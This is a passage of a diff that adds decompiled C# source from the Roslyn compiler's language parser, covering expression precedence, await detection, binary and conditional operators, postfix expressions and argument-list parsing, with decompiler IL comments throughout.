SyntaxKind.CharacterLiteralExpression: + case SyntaxKind.TrueLiteralExpression: + case SyntaxKind.FalseLiteralExpression: + case SyntaxKind.NullLiteralExpression: + case SyntaxKind.DefaultLiteralExpression: + case SyntaxKind.Utf8StringLiteralExpression: + case SyntaxKind.DefaultExpression: + case SyntaxKind.TupleExpression: + case SyntaxKind.DeclarationExpression: + case SyntaxKind.RefExpression: + case SyntaxKind.ImplicitStackAllocArrayCreationExpression: + case SyntaxKind.SuppressNullableWarningExpression: + case SyntaxKind.CollectionExpression: + return Precedence.Primary; + default: + throw ExceptionUtilities.UnexpectedValue((object)op); + } + } + + private static bool IsExpectedPrefixUnaryOperator(SyntaxKind kind) + { + if (SyntaxFacts.IsPrefixUnaryExpression(kind)) + { + if (kind != SyntaxKind.RefKeyword) + { + return kind != SyntaxKind.OutKeyword; + } + return false; + } + return false; + } + + private static bool IsExpectedBinaryOperator(SyntaxKind kind) + { + return SyntaxFacts.IsBinaryExpression(kind); + } + + private static bool IsExpectedAssignmentOperator(SyntaxKind kind) + { + return SyntaxFacts.IsAssignmentExpressionOperatorToken(kind); + } + + private bool IsPossibleAwaitExpressionStatement() + { + if (base.IsScript || IsInAsync) + { + return base.CurrentToken.ContextualKind == SyntaxKind.AwaitKeyword; + } + return false; + } + + private bool IsAwaitExpression() + { + if (base.CurrentToken.ContextualKind == SyntaxKind.AwaitKeyword) + { + if (IsInAsync) + { + return true; + } + SyntaxToken syntaxToken = PeekToken(1); + switch (syntaxToken.Kind) + { + case SyntaxKind.IdentifierToken: + return syntaxToken.ContextualKind != SyntaxKind.WithKeyword; + case SyntaxKind.TypeOfKeyword: + case SyntaxKind.NullKeyword: + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + case SyntaxKind.DefaultKeyword: + case SyntaxKind.NewKeyword: + case SyntaxKind.ThisKeyword: + case SyntaxKind.BaseKeyword: + case SyntaxKind.DelegateKeyword: + case SyntaxKind.CheckedKeyword: + case SyntaxKind.UncheckedKeyword: + case SyntaxKind.InterpolatedStringStartToken: + case SyntaxKind.InterpolatedVerbatimStringStartToken: + case SyntaxKind.NumericLiteralToken: + case SyntaxKind.CharacterLiteralToken: + case SyntaxKind.StringLiteralToken: + case SyntaxKind.InterpolatedStringToken: + case SyntaxKind.SingleLineRawStringLiteralToken: + case SyntaxKind.MultiLineRawStringLiteralToken: + case SyntaxKind.Utf8StringLiteralToken: + case SyntaxKind.Utf8SingleLineRawStringLiteralToken: + case SyntaxKind.Utf8MultiLineRawStringLiteralToken: + case SyntaxKind.InterpolatedSingleLineRawStringStartToken: + case SyntaxKind.InterpolatedMultiLineRawStringStartToken: + return true; + } + } + return false; + } + + private ExpressionSyntax ParseSubExpression(Precedence precedence) + { + _recursionDepth++; + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + ExpressionSyntax result = ParseSubExpressionCore(precedence); + _recursionDepth--; + return result; + } + + private ExpressionSyntax ParseSubExpressionCore(Precedence precedence) + { + Precedence precedence2 = Precedence.Expression; + SyntaxKind kind = base.CurrentToken.Kind; + if (IsInvalidSubExpression(kind)) + { + return AddError(CreateMissingIdentifierName(), ErrorCode.ERR_InvalidExprTerm, SyntaxFacts.GetText(kind)); + } + ExpressionSyntax leftOperand; + if (IsExpectedPrefixUnaryOperator(kind)) + { + SyntaxKind prefixUnaryExpression = SyntaxFacts.GetPrefixUnaryExpression(kind); + precedence2 = GetPrecedence(prefixUnaryExpression); + SyntaxToken operatorToken = EatToken(); + ExpressionSyntax operand = ParseSubExpression(precedence2); + leftOperand = _syntaxFactory.PrefixUnaryExpression(prefixUnaryExpression, operatorToken, operand); + } + else if (kind == SyntaxKind.DotDotToken) + { + SyntaxToken operatorToken2 = EatToken(); + precedence2 = GetPrecedence(SyntaxKind.RangeExpression); + ExpressionSyntax rightOperand = ((!CanStartExpression()) ? null : ParseSubExpression(precedence2)); + leftOperand = _syntaxFactory.RangeExpression(null, operatorToken2, rightOperand); + } + else if (IsAwaitExpression()) + { + precedence2 = GetPrecedence(SyntaxKind.AwaitExpression); + leftOperand = _syntaxFactory.AwaitExpression(EatContextualToken(SyntaxKind.AwaitKeyword), ParseSubExpression(precedence2)); + } + else if (IsQueryExpression(mayBeVariableDeclaration: false, mayBeMemberDeclaration: false)) + { + leftOperand = ParseQueryExpression(precedence); + } + else if (base.CurrentToken.ContextualKind == SyntaxKind.FromKeyword && IsInQuery) + { + SyntaxToken node = EatToken(); + node = AddError(node, ErrorCode.ERR_InvalidExprTerm, base.CurrentToken.Text); + leftOperand = AddTrailingSkippedSyntax(CreateMissingIdentifierName(), (GreenNode)(object)node); + } + else + { + if (kind == SyntaxKind.ThrowKeyword) + { + ExpressionSyntax expressionSyntax = ParseThrowExpression(); + if (precedence > Precedence.Coalescing) + { + return AddError(expressionSyntax, ErrorCode.ERR_InvalidExprTerm, SyntaxFacts.GetText(kind)); + } + return expressionSyntax; + } + leftOperand = ((!IsPossibleDeconstructionLeft(precedence)) ? ParseTerm(precedence) : ParseDeclarationExpression(ParseTypeMode.Normal, isScoped: false)); + } + return ParseExpressionContinued(leftOperand, precedence); + } + + private ExpressionSyntax ParseExpressionContinued(ExpressionSyntax leftOperand, Precedence precedence) + { + while (true) + { + SyntaxKind contextualKind = base.CurrentToken.ContextualKind; + bool flag = false; + SyntaxKind syntaxKind; + if (IsExpectedBinaryOperator(contextualKind)) + { + syntaxKind = SyntaxFacts.GetBinaryExpression(contextualKind); + } + else if (IsExpectedAssignmentOperator(contextualKind)) + { + syntaxKind = SyntaxFacts.GetAssignmentExpression(contextualKind); + flag = true; + } + else if (contextualKind == SyntaxKind.DotDotToken) + { + syntaxKind = SyntaxKind.RangeExpression; + } + else if (contextualKind == SyntaxKind.SwitchKeyword && PeekToken(1).Kind == SyntaxKind.OpenBraceToken) + { + syntaxKind = SyntaxKind.SwitchExpression; + } + else + { + if (contextualKind != SyntaxKind.WithKeyword || PeekToken(1).Kind != SyntaxKind.OpenBraceToken) + { + break; + } + syntaxKind = SyntaxKind.WithExpression; + } + Precedence precedence2 = GetPrecedence(syntaxKind); + int num = 1; + bool flag2 = contextualKind == SyntaxKind.GreaterThanToken; + if (flag2) + { + SyntaxKind kind = PeekToken(1).Kind; + bool flag3 = ((kind == SyntaxKind.GreaterThanToken || kind == SyntaxKind.GreaterThanEqualsToken) ? true : false); + flag2 = flag3; + } + if (flag2 && NoTriviaBetween(base.CurrentToken, PeekToken(1))) + { + if (PeekToken(1).Kind == SyntaxKind.GreaterThanToken) + { + SyntaxKind kind = PeekToken(2).Kind; + flag2 = ((kind == SyntaxKind.GreaterThanToken || kind == SyntaxKind.GreaterThanEqualsToken) ? true : false); + if (flag2 && NoTriviaBetween(PeekToken(1), PeekToken(2))) + { + if (PeekToken(2).Kind == SyntaxKind.GreaterThanToken) + { + syntaxKind = SyntaxFacts.GetBinaryExpression(SyntaxKind.GreaterThanGreaterThanGreaterThanToken); + } + else + { + syntaxKind = SyntaxFacts.GetAssignmentExpression(SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken); + flag = true; + } + num = 3; + } + else + { + syntaxKind = SyntaxFacts.GetBinaryExpression(SyntaxKind.GreaterThanGreaterThanToken); + num = 2; + } + } + else + { + syntaxKind = SyntaxFacts.GetAssignmentExpression(SyntaxKind.GreaterThanGreaterThanEqualsToken); + flag = true; + num = 2; + } + precedence2 = GetPrecedence(syntaxKind); + } + if (precedence2 < precedence || (precedence2 == precedence && !IsRightAssociative(syntaxKind))) + { + break; + } + SyntaxToken syntaxToken = EatContextualToken(contextualKind); + Precedence precedence3 = GetPrecedence(leftOperand.Kind); + if (precedence2 > precedence3) + { + ErrorCode code = ((leftOperand.Kind == SyntaxKind.IsPatternExpression) ? ErrorCode.ERR_UnexpectedToken : ErrorCode.WRN_PrecedenceInversion); + syntaxToken = AddError(syntaxToken, code, syntaxToken.Text); + } + switch (num) + { + case 2: + { + SyntaxToken syntaxToken3 = EatToken(); + SyntaxKind kind3 = ((syntaxToken3.Kind == SyntaxKind.GreaterThanToken) ? SyntaxKind.GreaterThanGreaterThanToken : SyntaxKind.GreaterThanGreaterThanEqualsToken); + syntaxToken = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), kind3, syntaxToken3.GetTrailingTrivia()); + break; + } + case 3: + { + SyntaxToken syntaxToken2 = EatToken(); + syntaxToken2 = EatToken(); + SyntaxKind kind2 = ((syntaxToken2.Kind == SyntaxKind.GreaterThanToken) ? SyntaxKind.GreaterThanGreaterThanGreaterThanToken : SyntaxKind.GreaterThanGreaterThanGreaterThanEqualsToken); + syntaxToken = SyntaxFactory.Token(syntaxToken.GetLeadingTrivia(), kind2, syntaxToken2.GetTrailingTrivia()); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)num); + case 1: + break; + } + switch (syntaxKind) + { + case SyntaxKind.AsExpression: + { + TypeSyntax right = ParseType(ParseTypeMode.AsExpression); + leftOperand = _syntaxFactory.BinaryExpression(syntaxKind, leftOperand, syntaxToken, right); + continue; + } + case SyntaxKind.IsExpression: + leftOperand = ParseIsExpression(leftOperand, syntaxToken); + continue; + } + if (flag) + { + ExpressionSyntax right2 = ((syntaxKind != SyntaxKind.SimpleAssignmentExpression || base.CurrentToken.Kind != SyntaxKind.RefKeyword || IsPossibleLambdaExpression(precedence2)) ? ParseSubExpression(precedence2) : _syntaxFactory.RefExpression(EatToken(), ParseExpressionCore())); + leftOperand = _syntaxFactory.AssignmentExpression(syntaxKind, leftOperand, syntaxToken, right2); + continue; + } + switch (syntaxKind) + { + case SyntaxKind.SwitchExpression: + leftOperand = ParseSwitchExpression(leftOperand, syntaxToken); + continue; + case SyntaxKind.WithExpression: + leftOperand = ParseWithExpression(leftOperand, syntaxToken); + continue; + } + if (contextualKind == SyntaxKind.DotDotToken) + { + ExpressionSyntax rightOperand; + if (CanStartExpression()) + { + precedence2 = GetPrecedence(syntaxKind); + rightOperand = ParseSubExpression(precedence2); + } + else + { + rightOperand = null; + } + leftOperand = _syntaxFactory.RangeExpression(leftOperand, syntaxToken, rightOperand); + } + else + { + leftOperand = _syntaxFactory.BinaryExpression(syntaxKind, leftOperand, syntaxToken, ParseSubExpression(precedence2)); + } + } + if (base.CurrentToken.Kind != SyntaxKind.QuestionToken || precedence > Precedence.Conditional) + { + return leftOperand; + } + SyntaxToken questionToken = EatToken(); + using (DisposableResetPoint disposableResetPoint = GetDisposableResetPoint(resetOnDispose: false)) + { + ExpressionSyntax expressionSyntax = ParsePossibleRefExpression(); + if (base.CurrentToken.Kind != SyntaxKind.ColonToken && !ForceConditionalAccessExpression && containsTernaryCollectionToReinterpret(expressionSyntax)) + { + using DisposableResetPoint disposableResetPoint2 = GetDisposableResetPoint(resetOnDispose: false); + disposableResetPoint.Reset(); + ForceConditionalAccessExpression = true; + ExpressionSyntax expressionSyntax2 = ParsePossibleRefExpression(); + ForceConditionalAccessExpression = false; + if (base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + expressionSyntax = expressionSyntax2; + } + else + { + disposableResetPoint2.Reset(); + } + } + if (base.CurrentToken.Kind == SyntaxKind.EndOfFileToken && lexer.InterpolationFollowedByColon) + { + leftOperand = _syntaxFactory.ConditionalExpression(leftOperand, questionToken, expressionSyntax, SyntaxFactory.MissingToken(SyntaxKind.ColonToken), _syntaxFactory.IdentifierName(SyntaxFactory.MissingToken(SyntaxKind.IdentifierToken))); + return AddError(leftOperand, ErrorCode.ERR_ConditionalInInterpolation); + } + return _syntaxFactory.ConditionalExpression(leftOperand, questionToken, expressionSyntax, EatToken(SyntaxKind.ColonToken), ParsePossibleRefExpression()); + } + static bool containsTernaryCollectionToReinterpret(ExpressionSyntax expression) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, (GreenNode)(object)expression); + while (instance.Count > 0) + { + GreenNode val = ArrayBuilderExtensions.Pop(instance); + if (val is ConditionalExpressionSyntax conditionalExpressionSyntax && conditionalExpressionSyntax.WhenTrue.GetFirstToken().Kind == SyntaxKind.OpenBracketToken) + { + instance.Free(); + return true; + } + ChildSyntaxList val2 = val.ChildNodesAndTokens(); + Enumerator enumerator = ((ChildSyntaxList)(ref val2)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + GreenNode current = ((Enumerator)(ref enumerator)).Current; + ArrayBuilderExtensions.Push(instance, current); + } + } + instance.Free(); + return false; + } + } + + private DeclarationExpressionSyntax ParseDeclarationExpression(ParseTypeMode mode, bool isScoped) + { + SyntaxToken syntaxToken = (isScoped ? EatContextualToken(SyntaxKind.ScopedKeyword) : null); + TypeSyntax typeSyntax = ParseType(mode); + return _syntaxFactory.DeclarationExpression((syntaxToken == null) ? typeSyntax : _syntaxFactory.ScopedType(syntaxToken, typeSyntax), ParseDesignation(forPattern: false)); + } + + private ExpressionSyntax ParseThrowExpression() + { + return _syntaxFactory.ThrowExpression(EatToken(SyntaxKind.ThrowKeyword), ParseSubExpression(Precedence.Coalescing)); + } + + private ExpressionSyntax ParseIsExpression(ExpressionSyntax leftOperand, SyntaxToken opToken) + { + CSharpSyntaxNode cSharpSyntaxNode = ParseTypeOrPatternForIsOperator(); + if (!(cSharpSyntaxNode is PatternSyntax pattern)) + { + if (cSharpSyntaxNode is TypeSyntax right) + { + return _syntaxFactory.BinaryExpression(SyntaxKind.IsExpression, leftOperand, opToken, right); + } + throw ExceptionUtilities.UnexpectedValue((object)cSharpSyntaxNode); + } + return _syntaxFactory.IsPatternExpression(leftOperand, opToken, pattern); + } + + private ExpressionSyntax ParseTerm(Precedence precedence) + { + return ParsePostFixExpression(ParseTermWithoutPostfix(precedence)); + } + + private ExpressionSyntax ParseTermWithoutPostfix(Precedence precedence) + { + SyntaxKind kind = base.CurrentToken.Kind; + switch (kind) + { + case SyntaxKind.TypeOfKeyword: + return ParseTypeOfExpression(); + case SyntaxKind.DefaultKeyword: + return ParseDefaultExpression(); + case SyntaxKind.SizeOfKeyword: + return ParseSizeOfExpression(); + case SyntaxKind.MakeRefKeyword: + return ParseMakeRefExpression(); + case SyntaxKind.RefTypeKeyword: + return ParseRefTypeExpression(); + case SyntaxKind.CheckedKeyword: + case SyntaxKind.UncheckedKeyword: + return ParseCheckedOrUncheckedExpression(); + case SyntaxKind.RefValueKeyword: + return ParseRefValueExpression(); + case SyntaxKind.ColonColonToken: + return ParseAliasQualifiedName(NameOptions.InExpression); + case SyntaxKind.EqualsGreaterThanToken: + return ParseLambdaExpression(); + case SyntaxKind.StaticKeyword: + if (IsPossibleAnonymousMethodExpression()) + { + return ParseAnonymousMethodExpression(); + } + if (IsPossibleLambdaExpression(precedence)) + { + return ParseLambdaExpression(); + } + return AddError(CreateMissingIdentifierName(), ErrorCode.ERR_InvalidExprTerm, base.CurrentToken.Text); + case SyntaxKind.IdentifierToken: + if (IsTrueIdentifier()) + { + if (IsPossibleAnonymousMethodExpression()) + { + return ParseAnonymousMethodExpression(); + } + if (IsPossibleLambdaExpression(precedence)) + { + LambdaExpressionSyntax lambdaExpressionSyntax = TryParseLambdaExpression(); + if (lambdaExpressionSyntax != null) + { + return lambdaExpressionSyntax; + } + } + if (IsPossibleDeconstructionLeft(precedence)) + { + return ParseDeclarationExpression(ParseTypeMode.Normal, isScoped: false); + } + return ParseAliasQualifiedName(NameOptions.InExpression); + } + return AddError(CreateMissingIdentifierName(), ErrorCode.ERR_InvalidExprTerm, base.CurrentToken.Text); + case SyntaxKind.OpenBracketToken: + if (!IsPossibleLambdaExpression(precedence)) + { + return ParseCollectionExpression(); + } + return ParseLambdaExpression(); + case SyntaxKind.ThisKeyword: + return _syntaxFactory.ThisExpression(EatToken()); + case SyntaxKind.BaseKeyword: + return ParseBaseExpression(); + case SyntaxKind.NullKeyword: + case SyntaxKind.TrueKeyword: + case SyntaxKind.FalseKeyword: + case SyntaxKind.ArgListKeyword: + case SyntaxKind.NumericLiteralToken: + case SyntaxKind.CharacterLiteralToken: + case SyntaxKind.StringLiteralToken: + case SyntaxKind.SingleLineRawStringLiteralToken: + case SyntaxKind.MultiLineRawStringLiteralToken: + case SyntaxKind.Utf8StringLiteralToken: + case SyntaxKind.Utf8SingleLineRawStringLiteralToken: + case SyntaxKind.Utf8MultiLineRawStringLiteralToken: + return _syntaxFactory.LiteralExpression(SyntaxFacts.GetLiteralExpression(kind), EatToken()); + case SyntaxKind.InterpolatedStringStartToken: + case SyntaxKind.InterpolatedVerbatimStringStartToken: + case SyntaxKind.InterpolatedSingleLineRawStringStartToken: + case SyntaxKind.InterpolatedMultiLineRawStringStartToken: + throw new NotImplementedException(); + case SyntaxKind.InterpolatedStringToken: + return ParseInterpolatedStringToken(); + case SyntaxKind.OpenParenToken: + if (IsPossibleLambdaExpression(precedence)) + { + LambdaExpressionSyntax lambdaExpressionSyntax2 = TryParseLambdaExpression(); + if (lambdaExpressionSyntax2 != null) + { + return lambdaExpressionSyntax2; + } + } + return ParseCastOrParenExpressionOrTuple(); + case SyntaxKind.NewKeyword: + return ParseNewExpression(); + case SyntaxKind.StackAllocKeyword: + return ParseStackAllocExpression(); + case SyntaxKind.DelegateKeyword: + if (!IsPossibleLambdaExpression(precedence)) + { + return ParseAnonymousMethodExpression(); + } + return ParseLambdaExpression(); + case SyntaxKind.RefKeyword: + { + if (IsPossibleLambdaExpression(precedence)) + { + return ParseLambdaExpression(); + } + SyntaxToken refKeyword = EatToken(); + return AddError(_syntaxFactory.RefExpression(refKeyword, ParseExpressionCore()), ErrorCode.ERR_InvalidExprTerm, SyntaxFacts.GetText(kind)); + } + default: + { + if (IsPredefinedType(kind)) + { + if (IsPossibleLambdaExpression(precedence)) + { + return ParseLambdaExpression(); + } + PredefinedTypeSyntax predefinedTypeSyntax = _syntaxFactory.PredefinedType(EatToken()); + if (base.CurrentToken.Kind != SyntaxKind.DotToken || kind == SyntaxKind.VoidKeyword) + { + predefinedTypeSyntax = AddError(predefinedTypeSyntax, ErrorCode.ERR_InvalidExprTerm, SyntaxFacts.GetText(kind)); + } + return predefinedTypeSyntax; + } + IdentifierNameSyntax node = CreateMissingIdentifierName(); + if (kind == SyntaxKind.EndOfFileToken) + { + return AddError(node, ErrorCode.ERR_ExpressionExpected); + } + return AddError(node, ErrorCode.ERR_InvalidExprTerm, SyntaxFacts.GetText(kind)); + } + } + } + + private ExpressionSyntax ParseBaseExpression() + { + return _syntaxFactory.BaseExpression(EatToken()); + } + + private bool IsPossibleDeconstructionLeft(Precedence precedence) + { + if (precedence != Precedence.Expression || (!base.CurrentToken.IsIdentifierVar() && !IsPredefinedType(base.CurrentToken.Kind))) + { + return false; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + return base.CurrentToken.Kind == SyntaxKind.OpenParenToken && ScanDesignator() && base.CurrentToken.Kind == SyntaxKind.EqualsToken; + } + } + + private bool ScanDesignator() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind != SyntaxKind.OpenParenToken) + { + if (kind == SyntaxKind.IdentifierToken && IsTrueIdentifier()) + { + EatToken(); + return true; + } + return false; + } + while (true) + { + EatToken(); + if (!ScanDesignator()) + { + break; + } + switch (base.CurrentToken.Kind) + { + case SyntaxKind.CommaToken: + break; + case SyntaxKind.CloseParenToken: + EatToken(); + return true; + default: + return false; + } + } + return false; + } + + private bool IsPossibleAnonymousMethodExpression() + { + int i; + for (i = 0; PeekToken(i).Kind == SyntaxKind.StaticKeyword || PeekToken(i).ContextualKind == SyntaxKind.AsyncKeyword; i++) + { + } + if (PeekToken(i).Kind == SyntaxKind.DelegateKeyword) + { + return PeekToken(i + 1).Kind != SyntaxKind.AsteriskToken; + } + return false; + } + + private ExpressionSyntax ParsePostFixExpression(ExpressionSyntax expr) + { + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + //IL_0161: Unknown result type (might be due to invalid IL or missing references) + while (true) + { + switch (base.CurrentToken.Kind) + { + case SyntaxKind.OpenParenToken: + expr = _syntaxFactory.InvocationExpression(expr, ParseParenthesizedArgumentList()); + break; + case SyntaxKind.OpenBracketToken: + expr = _syntaxFactory.ElementAccessExpression(expr, ParseBracketedArgumentList()); + break; + case SyntaxKind.MinusMinusToken: + case SyntaxKind.PlusPlusToken: + expr = _syntaxFactory.PostfixUnaryExpression(SyntaxFacts.GetPostfixUnaryExpression(base.CurrentToken.Kind), expr, EatToken()); + break; + case SyntaxKind.ColonColonToken: + expr = ((PeekToken(1).Kind != SyntaxKind.IdentifierToken) ? AddTrailingSkippedSyntax(expr, (GreenNode)(object)EatTokenWithPrejudice(SyntaxKind.DotToken)) : _syntaxFactory.MemberAccessExpression(SyntaxKind.SimpleMemberAccessExpression, expr, ConvertToMissingWithTrailingTrivia(AddError(EatToken(), ErrorCode.ERR_UnexpectedAliasedName), SyntaxKind.DotToken), ParseSimpleName(NameOptions.InExpression))); + break; + case SyntaxKind.MinusGreaterThanToken: + expr = _syntaxFactory.MemberAccessExpression(SyntaxKind.PointerMemberAccessExpression, expr, EatToken(), ParseSimpleName(NameOptions.InExpression)); + break; + case SyntaxKind.DotToken: + if (base.CurrentToken.TrailingTrivia.Any(8539) && PeekToken(1).Kind == SyntaxKind.IdentifierToken && PeekToken(2).ContextualKind == SyntaxKind.IdentifierToken) + { + return _syntaxFactory.MemberAccessExpression(SyntaxKind.SimpleMemberAccessExpression, expr, EatToken(), AddError(CreateMissingIdentifierName(), ErrorCode.ERR_IdentifierExpected)); + } + expr = _syntaxFactory.MemberAccessExpression(SyntaxKind.SimpleMemberAccessExpression, expr, EatToken(), ParseSimpleName(NameOptions.InExpression)); + break; + case SyntaxKind.QuestionToken: + if (CanStartConsequenceExpression()) + { + expr = _syntaxFactory.ConditionalAccessExpression(expr, EatToken(), ParseConsequenceSyntax()); + break; + } + return expr; + case SyntaxKind.ExclamationToken: + expr = _syntaxFactory.PostfixUnaryExpression(SyntaxKind.SuppressNullableWarningExpression, expr, EatToken()); + break; + default: + return expr; + } + } + } + + private bool CanStartConsequenceExpression() + { + switch (PeekToken(1).Kind) + { + case SyntaxKind.DotToken: + return true; + case SyntaxKind.OpenBracketToken: + if (ForceConditionalAccessExpression) + { + return true; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + ParsePossibleRefExpression(); + return base.CurrentToken.Kind != SyntaxKind.ColonToken; + } + default: + return false; + } + } + + internal ExpressionSyntax ParseConsequenceSyntax() + { + ExpressionSyntax expressionSyntax = base.CurrentToken.Kind switch + { + SyntaxKind.DotToken => _syntaxFactory.MemberBindingExpression(EatToken(), ParseSimpleName(NameOptions.InExpression)), + SyntaxKind.OpenBracketToken => _syntaxFactory.ElementBindingExpression(ParseBracketedArgumentList()), + _ => throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Parser/LanguageParser.cs", 11206), + }; + while (true) + { + if (isOptionalExclamationsFollowedByConditionalOperation()) + { + while (base.CurrentToken.Kind == SyntaxKind.ExclamationToken) + { + expressionSyntax = _syntaxFactory.PostfixUnaryExpression(SyntaxKind.SuppressNullableWarningExpression, expressionSyntax, EatToken()); + } + } + switch (base.CurrentToken.Kind) + { + case SyntaxKind.OpenParenToken: + expressionSyntax = _syntaxFactory.InvocationExpression(expressionSyntax, ParseParenthesizedArgumentList()); + break; + case SyntaxKind.OpenBracketToken: + expressionSyntax = _syntaxFactory.ElementAccessExpression(expressionSyntax, ParseBracketedArgumentList()); + break; + case SyntaxKind.DotToken: + expressionSyntax = _syntaxFactory.MemberAccessExpression(SyntaxKind.SimpleMemberAccessExpression, expressionSyntax, EatToken(), ParseSimpleName(NameOptions.InExpression)); + break; + case SyntaxKind.QuestionToken: + if (CanStartConsequenceExpression()) + { + return _syntaxFactory.ConditionalAccessExpression(expressionSyntax, EatToken(), ParseConsequenceSyntax()); + } + return expressionSyntax; + default: + return expressionSyntax; + } + } + bool isOptionalExclamationsFollowedByConditionalOperation() + { + int i; + for (i = 0; PeekToken(i).Kind == SyntaxKind.ExclamationToken; i++) + { + } + SyntaxKind kind = PeekToken(i).Kind; + if (kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.OpenBracketToken || kind - 8218 <= SyntaxKind.List) + { + return true; + } + return false; + } + } + + internal ArgumentListSyntax ParseParenthesizedArgumentList() + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.ArgumentList) + { + return (ArgumentListSyntax)(object)EatNode(); + } + ParseArgumentList(out var openToken, out var arguments, out var closeToken, SyntaxKind.OpenParenToken, SyntaxKind.CloseParenToken); + return _syntaxFactory.ArgumentList(openToken, arguments, closeToken); + } + + internal BracketedArgumentListSyntax ParseBracketedArgumentList() + { + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + if (IsIncrementalAndFactoryContextMatches && base.CurrentNodeKind == SyntaxKind.BracketedArgumentList) + { + return (BracketedArgumentListSyntax)(object)EatNode(); + } + ParseArgumentList(out var openToken, out var arguments, out var closeToken, SyntaxKind.OpenBracketToken, SyntaxKind.CloseBracketToken); + return _syntaxFactory.BracketedArgumentList(openToken, arguments, closeToken); + } + + private void ParseArgumentList(out SyntaxToken openToken, out SeparatedSyntaxList arguments, out SyntaxToken closeToken, SyntaxKind openKind, SyntaxKind closeKind) + { + //IL_01ad: Unknown result type (might be due to invalid IL or missing references) + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_0186: Unknown result type (might be due to invalid IL or missing references) + //IL_0191: Unknown result type (might be due to invalid IL or missing references) + //IL_01a0: Unknown result type (might be due to invalid IL or missing references) + //IL_01a5: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Unknown result type (might be due to invalid IL or missing references) + bool flag = openKind == SyntaxKind.OpenBracketToken; + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = ((kind == SyntaxKind.OpenParenToken || kind == SyntaxKind.OpenBracketToken) ? true : false); + openToken = (flag2 ? EatTokenAsKind(openKind) : EatToken(openKind)); + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfArgumentList; + if (base.CurrentToken.Kind != closeKind && base.CurrentToken.Kind != SyntaxKind.SemicolonToken) + { + if (flag) + { + arguments = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseBracketToken, (LanguageParser @this) => @this.IsPossibleArgumentExpression(), (LanguageParser @this) => @this.ParseArgumentExpression(isIndexer: true), skipBadArgumentListTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + } + else + { + arguments = ParseCommaSeparatedSyntaxList(ref openToken, SyntaxKind.CloseParenToken, (LanguageParser @this) => @this.IsPossibleArgumentExpression(), (LanguageParser @this) => @this.ParseArgumentExpression(isIndexer: false), skipBadArgumentListTokens, allowTrailingSeparator: false, requireOneElement: false, allowSemicolonAsSeparator: false); + } + } + else if (flag && base.CurrentToken.Kind == closeKind) + { + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + val.Add(ParseArgumentExpression(flag)); + arguments = _pool.ToListAndFree(ref val); + } + else + { + arguments = default(SeparatedSyntaxList); + } + _termState = termState; + kind = base.CurrentToken.Kind; + flag2 = ((kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.CloseBracketToken) ? true : false); + closeToken = (flag2 ? EatTokenAsKind(closeKind) : EatToken(closeKind)); + static PostSkipAction skipBadArgumentListTokens(LanguageParser @this, ref SyntaxToken open, SeparatedSyntaxListBuilder list, SyntaxKind expectedKind, SyntaxKind closeKind2) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind kind2 = @this.CurrentToken.Kind; + if ((kind2 == SyntaxKind.CloseParenToken || kind2 == SyntaxKind.CloseBracketToken || kind2 == SyntaxKind.SemicolonToken) ? true : false) + { + return PostSkipAction.Abort; + } + return @this.SkipBadSeparatedListTokensWithExpectedKind(ref open, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleArgumentExpression(), (LanguageParser p, SyntaxKind syntaxKind) => p.CurrentToken.Kind == syntaxKind || p.CurrentToken.Kind == SyntaxKind.SemicolonToken, expectedKind, closeKind2); + } + } + + private bool IsEndOfArgumentList() + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.CloseParenToken || kind == SyntaxKind.CloseBracketToken) + { + return true; + } + return false; + } + + private bool IsPossibleArgumentExpression() + { + if (!IsValidArgumentRefKindKeyword(base.CurrentToken.Kind)) + { + return IsPossibleExpression(); + } + return true; + } + + private static bool IsValidArgumentRefKindKeyword(SyntaxKind kind) + { + if (kind - 8360 <= (SyntaxKind)2) + { + return true; + } + return false; + } + + private ArgumentSyntax ParseArgumentExpression(bool isIndexer) + { + NameColonSyntax nameColon = ((base.CurrentToken.Kind == SyntaxKind.IdentifierToken && PeekToken(1).Kind == SyntaxKind.ColonToken) ? _syntaxFactory.NameColon(ParseIdentifierName(), EatToken(SyntaxKind.ColonToken)) : null); + SyntaxToken syntaxToken = null; + if (IsValidArgumentRefKindKeyword(base.CurrentToken.Kind) && (base.CurrentToken.Kind != SyntaxKind.RefKeyword || !IsPossibleLambdaExpression(Precedence.Expression))) + { + syntaxToken = EatToken(); + } + bool flag = isIndexer; + if (flag) + { + SyntaxKind kind = base.CurrentToken.Kind; + bool flag2 = ((kind == SyntaxKind.CloseBracketToken || kind == 